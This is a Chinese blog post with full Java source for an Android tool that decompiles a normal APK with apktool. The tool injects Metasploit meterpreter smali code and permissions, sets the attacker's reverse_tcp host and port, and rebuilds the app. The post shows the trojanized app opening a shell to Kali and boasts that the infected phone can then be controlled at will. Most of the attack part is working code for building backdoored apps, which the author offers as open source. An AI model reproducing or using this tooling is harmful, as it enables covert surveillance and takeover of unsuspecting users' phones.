【Android编程】Java利用apktool编写Metasploit恶意后门注入工具
/声明:本文作者Kali_MG1937
csdn博客id:ALDYS4
QQ:3496925334
未经许可禁止转载!/
注意,本文为作者从CSDN搬迁至此的文章
注意!此文章虽然 未被 作者标记到 黑历史 专栏中,
但由于本文为作者最初阶段时有了一点自我思考和感悟后写下的内容,
这意味着本篇文章依然可能存在 质量低下,流水账文,笔法低质 的问题
为了防止恁大脑降级,建议观看作者其他文章,,,
之前我已经分析过Metasploit中安卓载荷的构造并成功利用
那么这回就动手写一个关于这个项目的安卓工具
使得这个工具可以自动将恶意代码注入进正常的apk中
(分析过程详看我的第一篇博客:分析metasploit安卓载荷)
开始构思
既然要实现载荷注入,那么首先就要实现反编译欲注入apk的功能了
打开github
说道安卓端的反编译,apktool.jar必不可少
apktool虽然是Java语言编写的,但毕竟是针对PC端的工具,在安卓上的应用还是有些麻烦
比如apktool中的一个类文件
brut.androlib.ApktoolProperties.java
InputStream in = ApktoolProperties.class.getResourceAsStream("/properties/apktool.properties");
这个类调用到getResourceAsStream方法来获取assest文件夹中的资源,而这种方法在android中无法实现(亲测,运行时报错,原因不明)
但android有专门针对assest资源调用的AssestManager类,只要调用其getAssest()方法就可以对assest中的文件进行io流操作
由于诸多条件的限制,我不可能花太多时间和精力来完善apktool,但幸运的是,apktool.jar安卓化已经被github开源作者imkiva实现了
他新建了一个类并构造了许多方法来容纳apktool的任性
补充上他优化过后的apktool:
Apktool for android
apktool的问题解决了,接下来就是一个难关:反编译
在搜索了大量资料后发现大多数人都是利用apktool中的ApkDecoder这个类中的decode()等等方法进行apk反编译的操作
但apktool的开发者一定会更加简洁地去包装整个反编译过程,我打开apktool的源代码,查找ApkDecoder这个类
发现这个类文件中的种种反编译与回编译的方法都与brut.apktool.Main这个类文件相关联
打开Main类,
发现这个类的main方法需要引入一个参数,程序将更具这个参数的具体内容进行相应操作,
补充Main的部分关键代码
public static void main(String[] args) throws IOException, InterruptedException, BrutException {
// set verbosity default
Verbosity verbosity = Verbosity.NORMAL;
// cli parser
CommandLineParser parser = new PosixParser();
CommandLine commandLine = null;
// load options
_Options();
try {
commandLine = parser.parse(allOptions, args, false);//取出arg中的字符
} catch (ParseException ex) {
System.err.println(ex.getMessage());
usage(commandLine);
return;
}
//如下面的官方注释所描述,程序将检查arg中的具体内容并执行相应代码
// check for verbose / quiet
if (commandLine.hasOption("-v") || commandLine.hasOption("--verbose")) {
verbosity = Verbosity.VERBOSE;
} else if (commandLine.hasOption("-q") || commandLine.hasOption("--quiet")) {
verbosity = Verbosity.QUIET;
}
setupLogging(verbosity);
// check for advance mode
if (commandLine.hasOption("advance") || commandLine.hasOption("advanced")) {
setAdvanceMode(true);
}
// @todo use new ability of apache-commons-cli to check hasOption for non-prefixed items
boolean cmdFound = false;
for (String opt : commandLine.getArgs()) {
if (opt.equalsIgnoreCase("d") || opt.equalsIgnoreCase("decode")) {
cmdDecode(commandLine);
cmdFound = true;
} else if (opt.equalsIgnoreCase("b") || opt.equalsIgnoreCase("build")) {
cmdBuild(commandLine);
cmdFound = true;
} else if (opt.equalsIgnoreCase("if") || opt.equalsIgnoreCase("install-framework")) {
cmdInstallFramework(commandLine);
cmdFound = true;
} else if (opt.equalsIgnoreCase("publicize-resources")) {
cmdPublicizeResources(commandLine);
cmdFound = true;
}
}
// if no commands ran, run the version / usage check.
if (!cmdFound) {
if (commandLine.hasOption("version") || commandLine.hasOption("version")) {
_version();
} else {
usage(commandLine);
}
}
}
继续检查代码,我惊讶地发现其中调用到的cmdBuild,cmdDecode等方法不就完美包装着反编译,回编译等操作吗
那么利用之前我在第一篇博客中对安卓载荷的分析结果,并注入相应smail代码进行回编译的操作也完美解决了
只需要传入Main类的main方法一个值就可以了,自己包装几个方法去实现它就更加简单了
开始工程
首先新建一个Cmd类去包装apktool命令的方法,
补充代码
public class Cmd
{
public static List<string> cmd;
public static void start()
{
cmd=new ArrayList<string>();
}
public static void add(String a)
{
cmd.add(a);
}
public static String[] get()
{
return cmd.toArray(new String[cmd.size()]);
}
public static String getString()
{
StringBuilder sb=new StringBuilder();
for(String s:Cmd.get())
{
sb.append(s);
sb.append("\n");
}
return sb.toString();
}
public static void setArray(String[] s)
{
Cmd.start();
for(String ss:s)
{
cmd.add(ss);
}
}
public void apkDecompile(String apk,String out)
{
start();
cmd.add("d");
cmd.add(apk);
cmd.add("-o");
cmd.add(out);
cmd.add("-f");
cmd.add("-b");
}
public void apkDecompileRes(String src,String apk)
{
start();
cmd.add("d");
cmd.add(src);
cmd.add("-o");
cmd.add(apk);
cmd.add("-f");
cmd.add("-r");
cmd.add("-c");
}
public void apkDecompileDex(String src,String apk)
{
start();
cmd.add("d");
cmd.add(src);
cmd.add("-o");
cmd.add(apk);
cmd.add("-f");
cmd.add("-s");
}
public void apkCompile(String src,String aapt,String apk)
{
start();
cmd.add("b");
cmd.add(src);
cmd.add("-a");
cmd.add(aapt);
cmd.add("-o");
cmd.add(apk);
cmd.add("-f");
}
}
安卓载荷的smail代码我已经提取出来并放在项目的assests文件夹中,接下来需要做的就是释放assest中的smail资源并修改smail中所有的类名并替换smali代码中的f类的a成员的具体内容(关于控制回弹地址的f类还是看我第一篇分析meterpreter安卓载荷的博客吧)
新建PayloadInject类和FileControl类
public class PayloadInject
{
//删除内容方法
public static void DeletIn(String file,String place) throws FileNotFoundException, IOException{
BufferedReader br=new BufferedReader(new FileReader(Environment.getExternalStorageDirectory().toString()+"/msfapk/"+file));
String str="";
StringBuffer sb=new StringBuffer();
while((str=br.readLine())!=null){
sb.append(str+"\n");
}
str=sb.toString().replace(place,"");
BufferedWriter bw=new BufferedWriter(new FileWriter(Environment.getExternalStorageDirectory().toString()+"/msfapk/"+file));
bw.write(str);
bw.close();
}
//新的插入方法_replace替换
public static void injectIn(String file,String place,String inject) throws FileNotFoundException, IOException{
BufferedReader br=new BufferedReader(new FileReader(Environment.getExternalStorageDirectory().toString()+"/msfapk/"+file));
String str="";
StringBuffer sb=new StringBuffer();
while((str=br.readLine())!=null){
sb.append(str+"\n");
}
str=sb.toString();
StringBuffer change=sb.replace(str.indexOf(place),str.indexOf(place)+place.length(),place+"\n"+inject);
BufferedWriter bw=new BufferedWriter(new FileWriter(Environment.getExternalStorageDirectory().toString()+"/msfapk/"+file));
bw.write(change.toString());
bw.close();
}
public static void AllInject(String com)
{
try
{
File file=new File("/sdcard/inject_msf");
File[] files=file.listFiles();//遍历目录下所有文件
for (File f:files)
{
System.out.println(f);
BufferedReader br=new BufferedReader(new FileReader(f));//依次读取文件内容
try
{
String str;
CharArrayWriter cw=new CharArrayWriter();
while ((str = br.readLine()) != null)
{
str = str.replace("Lcom/metasploit/stage/", "L" + com.replace(".", "/") + "/");//替换包名
System.out.println(str);
//System.out.println(str);
cw.write(str);
cw.append(System.getProperty("line.separator"));
}
br.close();
FileWriter fw=new FileWriter(f);
cw.writeTo(fw);
fw.close();
}
catch (FileNotFoundException e)
{}
finally
{if (br != null)
{br.close();}}
}
}
catch (FileNotFoundException e)
{}
catch (IOException e)
{}
}
public static void injectLhost(String lhost,String lport) throws IOException{
File file=new File("/sdcard/inject_msf/f.smali");
BufferedReader br=new BufferedReader(new FileReader(file));
try
{
String str;
CharArrayWriter cw=new CharArrayWriter();
while((str=br.readLine())!=null){
str=str.replaceAll("tcp://192.168.2.200:6666","tcp://"+lhost+":"+lport);//替换ip和port
System.out.println(str);
cw.write(str);
cw.append(System.getProperty("line.separator"));
}
br.close();
FileWriter fw=new FileWriter(file);
cw.writeTo(fw);
fw.close();
}
catch (FileNotFoundException e)
{System.out.println(e);}
}
public static void inject(String com,String filename) throws IOException{
File file=new File("/sdcard/inject_msf/"+filename);
BufferedReader br=new BufferedReader(new FileReader(file));
try
{
String str;
CharArrayWriter cw=new CharArrayWriter();
while((str=br.readLine())!=null){
str=str.replaceAll("com.metasploit.stage.",com);//替换包名
System.out.println(str);
cw.write(str);
cw.append(System.getProperty("line.separator"));
}
br.close();
FileWriter fw=new FileWriter(file);
cw.writeTo(fw);
fw.close();
}
catch (FileNotFoundException e)
{System.out.println(e);}
}
因为直接利用InputStream读取大文件会乱码,所以我利用BufferedWriter类来进行文件转移和写入操作
public class FileControl
{public static String ReadSDString(String filename) throws FileNotFoundException, IOException {
String msg="";
StringBuffer sb=new StringBuffer();
BufferedReader br=new BufferedReader(new FileReader(filename));
while((msg=br.readLine())!=null){
sb.append(msg+"\n");
}
return sb.toString();
}//读取文件内容
public static String ReadString(Context context,String filename) throws FileNotFoundException, IOException {
String msg="";
StringBuffer sb=new StringBuffer();
BufferedReader br=new BufferedReader(new FileReader(context.getFileStreamPath("inject/"+filename)));
while((msg=br.readLine())!=null){
sb.append(msg+"\n");
}
return sb.toString();
}
public static void copyFolderFromAssets(Context context, String rootDirFullPath, String targetDirFullPath) {
Log.d("Tag", "copyFolderFromAssets " + "rootDirFullPath-" + rootDirFullPath + " targetDirFullPath-" + targetDirFullPath);
try {
String[] listFiles = context.getAssets().list(rootDirFullPath);// 遍历该目录下的文件和文件夹
for (String string : listFiles) {// 判断目录是文件还是文件夹,这里只好用.做区分了
Log.d("Tag", "name-" + rootDirFullPath + "/" + string);
if (isFileByName(string)) {// 文件
copyFileFromAssets(context, rootDirFullPath + "/" + string, targetDirFullPath + "/" + string);
} else {// 文件夹
String childRootDirFullPath = rootDirFullPath + "/" + string;
String childTargetDirFullPath = targetDirFullPath + "/" + string;
new File(childTargetDirFullPath).mkdirs();
copyFolderFromAssets(context, childRootDirFullPath, childTargetDirFullPath);
}
}
} catch (IOException e) {
Log.d("Tag", "copyFolderFromAssets " + "IOException-" + e.getMessage());
Log.d("Tag", "copyFolderFromAssets " + "IOException-" + e.getLocalizedMessage());
e.printStackTrace();
}
}
private static boolean isFileByName(String string) {
if (string.contains(".")) {
return true;
}
return false;
}
//从assets目录下拷贝文件
public static void copyFileFromAssets(Context context, String assetsFilePath, String targetFileFullPath) {
Log.d("Tag", "copyFileFromAssets ");
InputStream assestsFileImputStream;
try {
assestsFileImputStream = context.getAssets().open(assetsFilePath);
copyFile(assestsFileImputStream, targetFileFullPath);
} catch (IOException e) {
Log.d("Tag", "copyFileFromAssets " + "IOException-" + e.getMessage());
e.printStackTrace();
}
}
public static void copyFile(InputStream in, String targetPath) {
try {
FileOutputStream fos = new FileOutputStream(new File(targetPath));
byte[] buffer = new byte[1024];
int byteCount = 0;
while ((byteCount = in.read(buffer)) != -1) {// 循环从输入流读取
// buffer字节
fos.write(buffer, 0, byteCount);// 将读取的输入流写入到输出流
}
fos.flush();// 刷新缓冲区
in.close();
fos.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
看样子载荷注入和文件提取都解决了,那么就开始进行反编译和注入了
bt.setOnClickListener(new OnClickListener(){
@Override
public void onClick(View p1)
{final Cmd cmd=new Cmd();//cmd
final String file=ed.getText().toString();
cmd.start();
new Thread(new Runnable(){
@Override
public void run()
{runOnUiThread(new Runnable(){
@Override
public void run()
{ly.setVisibility(View.VISIBLE);
tv.append("\n开始反编译apk...");
// TODO: Implement this method
}
});
cmd.apkDecompile(file,Environment.getExternalStorageDirectory().toString()+"/msfapk");
try
{
apk.run(cmd.get());
}
catch (IOException e)
{}
catch (InterruptedException e)
{}
catch (BrutException e)
{}
runOnUiThread(new Runnable(){
@Override
public void run()
{tv.append("\n反编译完成!");
ly.setVisibility(View.GONE);
showInjectMessage();
// TODO: Implement this method
}
});
}
}).start();
}
});
}
bt和tv参数就是Button和TextView了
反编译动作完成,开始注入载荷
因为注入任务需要独占线程可能会造成卡顿,所以我利用异步线程AsyncTask进行操作
public class baksmalis extends AsyncTask<void,void,void>
{
StringBuffer sb=new StringBuffer();
String aaptdir="";
@Override
protected void onPreExecute()
{tv.append("\n注入开始...");
// TODO: Implement this method
super.onPreExecute();
}
@Override
protected Void doInBackground(Void[] p1)
{
//注入包名信息
try
{
PayloadInject.inject(com + ".", "class2.txt");
}
catch (IOException e)
{}
//注入权限
try
{
String permission=FileControl.ReadSDString("/sdcard/inject_msf/permission.txt");
PayloadInject.injectIn("AndroidManifest.xml", "", permission);
//删除影响元素
PayloadInject.DeletIn("AndroidManifest.xml","android:resizeableActivity=\"true\"");
}
catch (IOException e)
{}
//注入意图
try
{
String Class=FileControl.ReadSDString("/sdcard/inject_msf/class.txt");
PayloadInject.injectIn("AndroidManifest.xml", "", "\n" + Class);
}
catch (IOException e)
{}
//注入声明
try
{
String Class2=FileControl.ReadSDString("/sdcard/inject_msf/class2.txt");
PayloadInject.injectIn("AndroidManifest.xml", "", "\n" + Class2);
}
catch (IOException e)
{}
//注入包名
PayloadInject.AllInject(com);
//注入启动服务
try
{
String Java=FileControl.ReadSDString("/sdcard/inject_msf/inject.txt");
PayloadInject.injectIn("smali/" + com.replace(".", "/") + "/" + java + ".smali", "onCreate(Landroid/os/Bundle;)V", "\n" + Java);
}
catch (IOException e)
{}
//注入tcp
try
{
PayloadInject.injectLhost(lhost, lport);
}
catch (IOException e)
{}
//清道夫
String[] file=new String[]{"permission.txt","class.txt","class.txt","inject.txt"};
for(String f:file){
File files=new File("/sdcard/inject_msf/"+f);
files.delete();
}
//复制文件
String[] payload=new File("/sdcard/inject_msf/").list();
for(String str:payload){
try
{
InputStream in=new FileInputStream("/sdcard/inject_msf/" + str);
FileControl.copyFile(in, "/sdcard/msfapk/smali/" + com.replace(".", "/") + "/" + str);
}
catch (FileNotFoundException e)
{}
}
Cmd cmd=new Cmd();
aaptdir=Manage.copyfile(MainActivity.this,"aapt.mrp");
cmd.apkCompile(Environment.getExternalStorageDirectory().toString()+"/msfapk",aaptdir,Environment.getExternalStorageDirectory().toString()+"/msfapk.apk");
try
{
brut.apktool.Main.main(cmd.get());
}
catch (InterruptedException e)
{sb.append("\nInterrupted报错:\n"+e.toString());}
catch (BrutException e)
{sb.append("\nBrut报错\n"+e.toString());}
catch (IOException e)
{sb.append("\nIo流报错\n"+e.toString());}
// TODO: Implement this method
return null;
}
@Override
protected void onPostExecute(Void result)
{if(sb.toString().equals("")){
tv.append("\n回编译执行完成!");
}else{tv.append("\n"+sb.toString());}
// TODO: Implement this method
super.onPostExecute(result);
}
}
至此反编译和注入还有回编译都完成了,布局代码这里就不补充了,关于对回编译的apk进行签名的代码我懒得再写了,直接用其它签名软件签名就行
接下来编译代码看看效果
先编译一个没有任何行为的空项目
接着用注入工具将恶意代码注入这个空项目

接着输入对应的reverse_tcp信息

完成注入后的apk会输出在/sdcard/msfapk.apk

签名,安装

打开

回到kali,可以看到载荷已经反弹了一个shell

看看能不能访问sd卡

可以!
接下来就可以任意控制安装了病毒载荷的手机了!
接下来放上注入工具的开源和视频
/声明:开源作者即为本文作者Kali_MG1937
csdn博客id:ALDYS4
QQ:3496925334
未经许可禁止转载!/
项目开源
</void,void,void>
【Android编程】Java利用apktool编写Metasploit恶意后门注入工具的更多相关文章
- 利用Python编写Windows恶意代码!自娱自乐!勿用于非法用途!
本文主要展示的是通过使用python和PyInstaller来构建恶意软件的一些poc. 利用Python编写Windows恶意代码!自娱自乐!勿用于非法用途!众所周知的,恶意软件如果影响到了他人的生 ...
- Android(java)学习笔记262:JNI之工具快速开发步骤
下面通过一个案例说明一下,利用工具jni快速开发步骤 1.新建一个Android工程,命名为"03_对int数组加1",如下: 2. 在MainActivity.java中对add ...
- Android(java)学习笔记206:JNI之工具快速开发步骤
下面通过一个案例说明一下,利用工具jni快速开发步骤 1.新建一个Android工程,命名为"03_对int数组加1",如下: 2. 在MainActivity.java中对add ...
- Android(java)学习笔记205:网易新闻RSS客户端应用编写逻辑过程
1.我们的项目需求是编写一个新闻RSS浏览器,RSS(Really Simple Syndication)是一种描述和同步网站内容的格式,是使用最广泛的XML应用.RSS目前广泛用于网上新闻频道,bl ...
- Android(java)学习笔记148:网易新闻RSS客户端应用编写逻辑过程
1.我们的项目需求是编写一个新闻RSS浏览器,RSS(Really Simple Syndication)是一种描述和同步网站内容的格式,是使用最广泛的XML应用.RSS目前广泛用于网上新闻频道,bl ...
- Android(java)学习笔记206:利用开源SmartImageView优化网易新闻RSS客户端
1.我们自己编写的SmartImageView会有很多漏洞,但是我们幸运的可以在网上利用开源项目的,开源项目中有很多成熟的代码,比如SmartImageView都编写的很成熟的 国内我们经常用到htt ...
- Android(java)学习笔记257:JNI之helloword案例(利用NDK工具)
1.逻辑思路过程图: 2.下面通过一个HelloWorld案例来说明一下JNI利用NDK开发过程(步骤) 分析:我们在Win7系统下编译的C语言代码,我们知道C语言依赖操作系统,不能跨平台,所以我们要 ...
- Android(java)学习笔记149:利用开源SmartImageView优化网易新闻RSS客户端
1.我们自己编写的SmartImageView会有很多漏洞,但是我们幸运的可以在网上利用开源项目的,开源项目中有很多成熟的代码,比如SmartImageView都编写的很成熟的 国内我们经常用到htt ...
- Android(java)学习笔记201:JNI之helloword案例(利用NDK工具)
1. 逻辑思路过程图: 2.下面通过一个HelloWorld案例来说明一下JNI利用NDK开发过程(步骤) 分析:我们在Win7系统下编译的C语言代码,我们知道C语言依赖操作系统,不能跨平台,所以我们 ...
随机推荐
- 查询某软件所连接的外网IP地址
一:背景环境: 1>:某机械公司用的某些特殊软件,需要实现所有使用某软件的屏蔽其软件所连接的外网ip,其他上网功能不做限制. 二:需求分析:可以查出此软件所连接的外网ip,在路由器的ip过滤中将 ...
- IOS小组件(6):小组件实现时钟按秒刷新
引言 上一节中我们了解了IOS小组件的刷新机制,发现根本没法实现按秒刷新,但是看别的App里面有做到,以为用了什么黑科技,原来是因为系统提供了一个额外的机制实现时间的动态更新,不用走小组件的刷新机 ...
- Charles的功能(web)
# 验证是否可以获取web端的https接口 1. 打开Charles 2.打开游览器输入数据 3. 查看Charles 4.从上图所看,能获取htpps的包数据,即可对web端进行抓包 4.char ...
- 数据库和SQL概述
一.数据库的概念 1.DB 数据库(database):存储数据的"仓库".它保存了一系列有组织的数据. 2.DBMS 数据库管理系统(Database Management Sy ...
- markerdown基础
标题 用#+空格 字体 加粗两边两个** 斜体两边* 斜体加粗三个* 引用 '>' 分割线 三个---或者三个*** 图片 ![截图]() 超链接 点击跳转到文章 []+() 列表 1 + 点+ ...
- QT相关书籍
文章转载自:http://www.cctry.com/thread-290005-1-1.html 最近一段时间,陆陆续续给大家更新了不少基于Qt开发的不错的书籍,可以说每本都不错.不过放在这一堆大家 ...
- python类变量的分类和调用方式
#!/usr/bin/python # -*- coding: UTF-8 -*- # 父类 class JustCounter: ''' 类变量:类变量在整个实例化的对象中是公用的.类变量定义在类中 ...
- Linux上使用iSCSI概述
iSCSI简介 1. scsi和iscsi SCSI技术是存储设备最基本的标准协议,通常需要设备互相靠近并用SCSI总线连接,因此受到物理环境的限制 iSCSI(Internet Small Comp ...
- 使用 parted 命令可以查看系统采用什么类型的分区表 gpt/mbr/msdos/ext/ext/ext2/ext3/ext4
Linux磁盘表示方式 Linux以字母标识磁盘的个数 a:第一块 b:第二块 Linux用数字标识分区:1-4标识主分区或扩展分区 逻辑分区从5开始 例如:sda.sda1.sda2 低级格式化 ...
- 026.Python面向对象类的相关操作以及对象和类的删除操作
类的相关操作 定义的类访问共有成员的成员和方法 定义的类动态添加公有成员的属性和方法 定义的类删除公有成员的属性和方法 1 定义一个基本的类 #定义一个类 class Plane(): #添加一个共有 ...